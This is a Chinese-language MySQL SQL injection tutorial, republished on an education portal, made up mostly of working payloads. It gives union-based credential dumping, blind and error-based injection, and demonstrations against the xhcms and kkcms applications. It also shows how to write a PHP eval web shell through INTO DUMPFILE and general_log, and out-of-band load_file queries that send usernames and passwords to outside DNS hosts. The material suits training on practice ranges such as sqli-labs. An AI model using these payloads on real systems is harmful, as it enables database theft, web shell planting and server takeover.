SQL注入是一种常见的攻击方式,需要了解一些前置知识。识别存在注入的方法包括判断是否存在注入、判断列数、判断回显点、查询当前数据库名、查询表名、查询列名。在MySQL中,可以使用`id=1awsfas`直接进...
本篇文章只是起个引头的左右,当然篇幅也比较长,忘大家能耐心看完,至于更复杂的操作,大家可以根据这个基础去做更深层次的研究
首先,了解SQL注入分类之前需要先了解一些前置知识,当然基础知识必不可少,可参考上篇文章
靶场:https://github.com/Audi-1/sqli-labs
或者不想开靶场,可以使用Fofa搜索在线MySQL靶场
Fofa搜索:"SQLi-Labs"
SQL注入分类前置知识之基础语句
1.判断是否存在注入:
id=1 and 1=1 --+ #页面正常
id=1 and 1=2 --+ #页面异常,存在注入(或者使用id=1awsfas来直接进行判断)
2.判断列数:
id=1 order by 4 --+ #页面正常时,数字为几,就代表存在几列
3.判断回显点:
id=-1 union select 1,2,3,4 --+ #哪个数字显示出来就代表回显点是几
4.查询当前数据库名:
id=-1 union select 1,database(),3,4 --+
5.查询表名:
id=-1 union select 1,group_concat(table_name),3,4 from information_schema.tables where table_schema='mozhe_Discuz_StormGroup'--+
6.查询列名:
id=-1 union select 1,group_concat(column_name),3,4 from information_schema.columns where table_schema='mozhe_Discuz_StormGroup' and table_name='StormGroup_member' --+
7.获取数据:
id=-1 union select 1,2,group_concat(id,name,password),4 from StormGroup_member --+
8.解密得到的密码
本篇文章不会把所有的注入类型所有的操作步骤都写一遍,基础语法放在最前面,先了解基础语句,再进行下一步,最起码能看懂,知道怎么套用语句
SQL注入分类前置知识之数据类型
注入前,需要知道是否存在符号干扰:有无单引号或双引号及通配符等
如果不知道属于哪种数据类型,那后续工作无法进行,一切都白搭,当然这个是需要进行测试的
数字:select * from news where id=$id;
字符:select * from news where name='$name';
搜索:select * from news where name like '%name%';
SQL注入分类前置知识之数据格式
没有规矩,不成方圆
数据格式就相当于一个规矩,你得按照人家的数据格式来,否则数据如何传输?
当然,数据格式肯定不止以下几种,需要观察是否为已知的格式
如果是未知的,可能需要审计JS代码,或者多观察数据包,找到所谓的格式
XML
数据传输采用XML格式传递
JSON
数据传输采用JSON格式传递
编码
数据传输采用编码或加密形式传递
编码:如加密
加密形式:如JS逆向
混合
数据传递采用JSON和编码传递
SQL注入分类前置知识之HTTP头部注入
需要注意:SQL注入的前提--与数据库进行交互(本质就是观察数据包,看看哪个部分可能与数据库进行交互)
HTTP头部注入:需要了解业务应用功能,之后才可以确定使用哪种HTTP头部注入方式
其实HTTP注入也可以归为SQL注入分类,只不过所有的SQL注入分类都是在HTTP头部注入上进行注入的
UA(User-Agent)
可能出现的场景:
对UA设备指定显示方案
对UA设备进行信息记录
insert注入
简单的说:就是UA与数据库进行交互,需要UA这个数据(如果只是判断UA而不写入数据库,那不存在UA注入)
XFF(X-Forwarded-For)
可能出现的场景:
限制IP访问功能
记录IP访问日志
insert注入
Cookie
可能出现的场景:开发人员编写一个根据用户 ID(存储在Cookie中)来查询信息的功能
user_id如何发现?
Fuzz:几率很低
注册用户,观察Cookie
Findsomething
为什么要加and 1=2?
为了报错,如果不加,没有结果
Referer
可能出现的场景:网站期望登录请求来自于本站页面,如果Referer是其他来源,则拒绝登录。
SQL注入分类前置知识之增删改查注入
查询:
union注入
原因:
代码会把数据显示出来(有回显)
语句组成也会造成此原因
新增、修改、删除:
报错注入
原因:代码只会把结果显示出来,不会显示数据(无回显)
语句组成也会造成此原因,比如union不能和insert放在一起,union是两条语句一起执行
所谓的SQL注入分类,其实也是在增删改查的基础上去实现的,所以归类为前置知识
新增
这里其实and和or都可以使用,但是建议使用or,因为只需要满足一个条件为真就可以了,而使用and需要满足两个条件都为真
修改
删除
之后点击删除按钮
查询
基础知识已完毕,接下来正式开始SQL注入分类
SQL注入之盲注
盲注就是在注入过程中,获取的数据不能回显至前端页面。
我们需要利用一些方法进行判断或者尝试,这个过程称之为盲注。
解决:常规的联合查询注入不行的情况
盲注分类:布尔、报错、延迟
布尔注入
基于布尔注入的前提:有结果输出,根据结果输出内容不同来判断条件是否成立
下面函数只是大概举例,用法其实很多,各种函数都可以进行尝试搭配使用
regexp
SELECT DATABASE() REGEXP '^i' #匹配第一位是否为i,如果为i返回1,否则返回0
SELECT DATABASE() REGEXP '^[a-z]' #判断第一位是否为字母
like
SELECT DATABASE() like 'inf%' #判断数据库是否为inf...
ascii
SELECT ASCII(SUBSTR(database(),1,1))<115 #判断数据库第一位字符的ASCII
left
left(a,b)从左侧截取a的前b位
select left(database(),1)='i'; #判断第一位是否为i
select left(database(),2)='in'; #判断前两位是否为in
ord
select ord(left(database(),1))<112; #判断第一位的ASCII是否小于112,根据 ASCII码判断数据库
mid
mid(a,b,c)#从位置b开始,截取a字符串的c位
select MID(database(),1,1)='i' #判断第一位是否为i
substr
substr(a,b,c)#从位置b开始,截取字符串a的c长度
select SUBSTR((database()),1,1)='i' #判断第一位是否为i
length
select length(database())=18 #判断数据库长度
报错注入
基于报错注入的前提:页面报错
下面语句中标红的部分为SQL语句,可自己自定义修改
floor报错注入:
select 1 from(select count(*),concat( floor(rand(0)*2),0x7e,(database()),0x7e)x from information_schema.character_sets group by x)a
select 1 from(select count(*),concat( floor(rand(0)*2),0x7e,(select table_name from information_schema.tables limit 1),0x7e)x from information_schema.character_sets group by x)a
ExtractValue报错注入:
and extractvalue(1, concat(0x5c, (select table_name from information_schema.tables limit 1)));
UpdateXml报错注入:
select updatexml(1,concat(0x3a,(select table_name from information_schema.tables limit 1)),1)
爆数据库版本信息:?id=1 and updatexml(1,concat(0x7e,(SELECT @@version),0x7e),1)
链接用户:?id=1 and updatexml(1,concat(0x7e,(SELECT user()),0x7e),1)
链接数据库:?id=1 and updatexml(1,concat(0x7e,(SELECT database()),0x7e),1)
爆库:?id=1 and updatexml(1,concat(0x7e,(SELECT distinct concat(0x7e, (select schema_name),0x7e) FROM admin limit 0,1),0x7e),1)
爆表:?id=1 and updatexml(1,concat(0x7e,(SELECT distinct concat(0x7e, (select table_name),0x7e) FROM admin limit 0,1),0x7e),1)
爆字段:?id=1 and updatexml(1,concat(0x7e,(SELECT distinct concat(0x7e, (select column_name),0x7e) FROM admin limit 0,1),0x7e),1)
爆字段内容:?id=1 and updatexml(1,concat(0x7e,(SELECT distinct concat(0x23,username,0x3a,password,0x23) FROM admin limit 0,1),0x7e),1)
NAME_CONST报错注入:
select exists(select * from (select * from(select name_const(version(),0)) a join (select name_const(version(),0)) b)c)
但好像只能查出来版本,网上也没其他相关资料,查资料说是不支持动态函数,或者得具体修改语句
join报错注入:
前提:在知到表名的前提下才能操作
select * from (select * from user as a join user as b) as c;
select * from (select * from user as a join user as b using(HOst)) as c;
exp报错注入:
前提条件:
适用 MySQL 5.5.44 ~ 5.5.47 版本(也不一定,可能5.5.0版本都可以,需要尝试),更高版本(如 5.6+)可能无法返回查询结果
目标数据库需支持 EXP 函数且未禁用错误信息回显
select (exp(~(SELECT * FROM(SELECT version() )a)))
select (exp(~(SELECT * FROM(select table_name from information_schema.tables where table_schema=DATABASE() limit 0,1 )a)))
GeometryCollection()报错注入:
select GeometryCollection((select * from (select * from(select version())a)b))
select GeometryCollection((select * from (select * from(select table_name from information_schema.tables where table_schema=DATABASE() limit 0,1)a)b))
polygon()报错注入:
适用版本:MySQL 5.1.5 ~ 5.5.49,部分 5.6.x 版本可能仍有效
限制:在 MySQL 5.5.49 及更高版本(包括 5.7.x)中,官方修复了此类漏洞,导致 polygon() 报错注入失效
select polygon((select * from (select * from(select version())a)b))
select polygon((select * from (select * from(select table_name from information_schema.tables where table_schema=DATABASE() limit 0,1)a)b))
multipoint()报错注入:
适用版本:MySQL 5.1.5 ~ 5.5.49,部分 5.6.x 版本可能仍有效。
限制:在 MySQL 5.5.49 及更高版本(包括 5.7.x)中,官方修复了此类漏洞,导致 multipoint() 报错注入失效
SELECT multipoint((select * from (select * from(select version())a)b))
SELECT multipoint((select * from (select * from(select group_concat(table_name) from information_schema.tables where table_schema=DATABASE())a)b))
multlinestring()报错注入:
有效版本:MySQL ≤5.5.49(部分 5.6.x 可能仍有效)。
高版本修复:MySQL 5.7+ 修复了此漏洞,无法通过 multlinestring() 触发报错
SELECT multilinestring((select * from (select * from(select version())a)b))
SELECT multilinestring((select * from (select * from(select table_name from information_schema.tables where table_schema=DATABASE() limit 0,1)a)b))
multpolygon()报错注入:
有效版本:MySQL ≤5.5.49(部分 5.6.x 可能仍有效)。
高版本修复:MySQL 5.7+ 修复了此漏洞,multipolygon() 报错注入失效
select multipolygon((select * from (select * from(select version())a)b))
select multipolygon((select * from (select * from(select table_name from information_schema.tables where table_schema=DATABASE() limit 0,1)a)b))
linestring()报错注入:
有效版本:5.1.5 ~ 5.5.49(部分 5.6.x 可能仍有效)。
高版本限制:MySQL 5.7+ 修复了此类漏洞,linestring() 报错注入失效
select linestring((select * from (select * from(select version())a)b))
select linestring((select * from (select * from(select table_name from information_schema.tables where table_schema=DATABASE() limit 0,1)a)b))
案例无关紧要,知道方法后可自己搭建靶场进行测试
演示案例--xhcms_v1.0
注意:PHP7.0版本可能无法安装
漏洞文件:files/submit.php
直接访问会报错,因为是MVC框架
文件名:files/submit.php
访问:r=submit
出现新的问题:昵称不能为空
两种解决办法:
1.条件一个一个去手工满足
2.看看项目中有哪些文件调用了submit这个文件
因为是MVC模型,搜索:r=submit
之后构造URL:http://192.168.137.101:91/?r=contact
那应该使用什么注入呢?请看代码
SQL语句是单引号过滤
昵称、邮箱、网址均可进行注入:
' and updatexml(1,concat(0x7e,(SELECT version()),0x7e),1) and '
延迟注入
sleep
sleep(5) #SQL语句延时执行5秒
if
if(条件,5,0)#条件成立 返回5 反之 返回0
select if((version())>5.0,sleep(4),2);
select if(SUBSTR((select table_name from information_schema.tables where table_schema=DATABASE() limit 0,1),1,1)='c',sleep(5),0)
案例无关紧要,知道方法后可自己搭建靶场进行测试
演示案例--kkcms
漏洞位置:admin/model/usergroup.php
这里使用延迟注入的原因:无报错函数(报错注入),数据没有输出(布尔注入)
此CMS直接访问路径无法访问,也是基于路由访问
访问后台:http://192.168.137.101:92/admin/cms_login.php
漏洞位置:admin/model/usergroup.php
如何访问? admin/cms_usergroup.php
之后构造payload:or if(1=1,sleep(3),0)
延时了3秒
Burp中,需要把空格替换为%20,如果不替换,Burp会认为空格之后是第二行
and if(length(database()))=5,sleep(3),0)
数据库长度为5
and if(ord((substr(database(),1,1)))=107,sleep(3),0)
数据库第一位ACCII码为107
and if(ord((substr(database(),2,1)))=107,sleep(3),0)
数据库第二位ACCII码为107
ASCII位数:127位,之后可以利用Burp的Intruder模块批量跑数据
延时注入不能使用Intruder,结果中不显示时间
SQL注入之跨库注入
基础知识--权限
root用户和普通用户的区别:
root用户可以看到并操作所有数据库,普通用户只能看到并操作系统自带的数据库和自己的数据库
造成的影响:root用户可以获取其他网站上的数据库,普通用户不行(一个数据库里面可以有多个库,每个库都可以算作一个网站)
那如何知道其他库的地址?
数据库配置(表里面可能有)
旁站
同网站不同IP
注入
跨库注入的前提:配置文件中是root用户,不是普通用户
查数据库名:' union select SCHEMA_name,2,3 from information_schema.SCHEMATA#
如果只有一个地方能返回数据怎么办?使用group_concat()函数:' union select GROUP_CONCAT(SCHEMA_name),2,3 from information_schema.SCHEMATA#
但有个缺点:如果数据库较多,可能显示不全
如果想要美观,可使用:
' union select GROUP_CONCAT(SCHEMA_name SEPARATOR ' <br/>'),2,3 from information_schema.SCHEMATA#
查表名:
普通版本:'union select table_name,2,3 from information_schema.tables where table_schema='xhcms'#
升级版本:'union select GROUP_CONCAT(table_name SEPARATOR ' <br/>'),2,3 from information_schema.tables where table_schema='xhcms'#
查列名:
普通版本:' union select column_name,2,3 from information_schema.columns where table_schema='xhcms' and table_name='manage'#
升级版本:' union select GROUP_CONCAT(column_name SEPARATOR ' <br/>'),2,3 from information_schema.columns where table_schema='xhcms' and table_name='manage'#
查数据:
普通版本:'union select user,2,3 from xhcms.manage#
升级版本:'union select GROUP_CONCAT(user,':',password SEPARATOR ' <br/>'),2,3 from xhcms.manage#
SQL注入之文件读写操作
基础知识
文件读写操作:root用户可以进行文件读写操作,普通用户不行
读写操作的前提:需要配置secure_file_priv开关
secure_file_priv:MySQL中的系统变量,用于限制文件的读取和写入
查看是否有读写操作权限:show variables like"secure%"
读:SELECT load_file('e:\\1.txt')
写:select '123' into outfile 'e:\\2.txt'
Windows:my.ini配置文件中配置
Linux:my.cnf配置文件中配置
如果限制了目录,如何绕过?
绕过条件:存在可执行的SQL地方
从后台的sql命令执行功能点(有的后台可以执行SQL命令):注入获取得到这个网站的后台账号密码
从phpmyadmin命令执行功能点:注入获取到数据库的用户名和密码
root密码:存储在mysql数据库下user表
低版本:user,password
高版本:user,authentication_string
版本中间值:5.4,或者两个都试下,只要出来数据就行
查看是否限制目录:show variables like"secure%"
启用慢查询日志(默认禁用):my.ini中配置:slow_query_log=1
show variables like'general_log';
set global general_log=on;
set global general_log_file='C:/phpstudy_pro/WWW/php1/bypass.php';
网站路径如何得知?
遗留文件:如phpinfo();页面
报错显示:可能会显示完整路径
读中间件配置:如果中间件默认路径没有修改的话
爆破fuzz路径
之后执行语句:select '<?php @eval($_POST[x]);?>'
注入
'union select LOAD_FILE('e:\\1.txt'),2,3#
' union select 'xxxx',2,3 into outfile 'd:\\3.txt'#
写一句话木马:' union select '<?php @eval($_POST["xxx"])?>',2,3 into dumpfile 'C:\\phpstudy_pro\\WWW\\php1\\xx.php'#
写文件只能使用完整路径
关于网站路径获取方法:
1、遗留文件:如phpinfo();页面
2、报错显示:可能会显示完整路径
3、读中间件配置:如果中间件默认路径没有修改的话
4、爆破fuzz路径
SQL注入之带外注入
无回显时使用带外注入
使用yakit生成域名
可能出现的问题:语句明明正确,为什么DNSlog收不到数据?
解决办法:重新生成一个域名,可能是域名堵塞的原因
查数据名:'union select load_file(concat('\\\\',(select database()),'.hvuoczxssn.zaza.eu.org\\aa')),2,3#
查表名1:' union select load_file(concat("\\\\",(select table_name from information_schema.tables where table_schema='news_management' limit 0,1 ),".myygrhvzab.iyhc.eu.org\\xxx.txt")),2,3#
查表名2:' union select load_file(concat("\\\\",(select table_name from information_schema.tables where table_schema='news_management' limit 1,1 ),".xgqavkwzei.lfcx.eu.org\\xxx.txt")),2,3#
查列名1:' union select load_file(concat("\\\\",(select column_name from information_schema.columns where table_schema='xhcms' and table_name='manage' limit 0,1),".xgqavkwzei.lfcx.eu.org\\xxx.txt")),2,3#
查列名2:' union select load_file(concat("\\\\",(select column_name from information_schema.columns where table_schema='xhcms' and table_name='manage' limit 1,1),".qyyyrocexz.yutu.eu.org\\xxx.txt")),2,3#
查数据1的user字段:' union select load_file(concat("\\\\",(select user from xhcms.manage limit 0,1),".qyyyrocexz.yutu.eu.org\\xxx.txt")),2,3#
查数据1的password字段:' union select load_file(concat("\\\\",(select password from xhcms.manage limit 0,1),".qyyyrocexz.yutu.eu.org\\xxx.txt")),2,3#
查数据2的user字段:' union select load_file(concat("\\\\",(select user from xhcms.manage limit 1,1),".qyyyrocexz.yutu.eu.org\\xxx.txt")),2,3#
查数据2的password字段:' union select load_file(concat("\\\\",(select password from xhcms.manage limit 1,1),".bidfguhork.dgrh3.cn\\xxx.txt")),2,3#
SQL注入之堆叠注入
原理:通过结束符(分号)同时执行多条sql语句
支持堆叠数据库:
MYSQL
MSSQL
Postgresql
目标如何才能存在堆叠注入:(触发的条件很苛刻)
目标存在sql注入漏洞
目标未对";"号进行过滤
目标中间层查询数据库信息时可同时执行多条sql语句(使用函数不当)
存在类似mysqli_multi_query()函数,支持多条SQL一起执行
与之对应的是mysqli_query()函数,只能执行一条SQL
SQL注入之二次注入
原理:注册(写入payload)-->登录后修改-->修改时以当前用户名为条件触发
黑盒思路:功能点有添加操作,之后可以对添加的内容进行修改
白盒思路:insert后进入select或update的功能的代码块
注入条件:插入时有转义函数或配置,后续有利用插入的数据
正常逻辑:
二次注入逻辑:
正常修改密码:UPDATE users SET password = '123' WHERE username = 'xxx';
二次注入修改密码:UPDATE users SET password = '123' WHERE username = '' or 1=1#';
原文来源:https://mp.weixin.qq.com/s/-874oe4IGCZAPxXL2b4Rlw
来源:本文内容搜集或转自各大网络平台,并已注明来源、出处,如果转载侵犯您的版权或非授权发布,请联系小编,我们会及时审核处理。
声明:江苏教育黄页对文中观点保持中立,对所包含内容的准确性、可靠性或者完整性不提供任何明示或暗示的保证,不对文章观点负责,仅作分享之用,文章版权及插图属于原作者。
Copyright©2013-2025 JSedu114 All Rights Reserved. 江苏教育信息综合发布查询平台保留所有权利
苏公网安备32010402000125
苏ICP备14051488号-3技术支持:南京博盛蓝睿网络科技有限公司
南京思必达教育科技有限公司版权所有 百度统计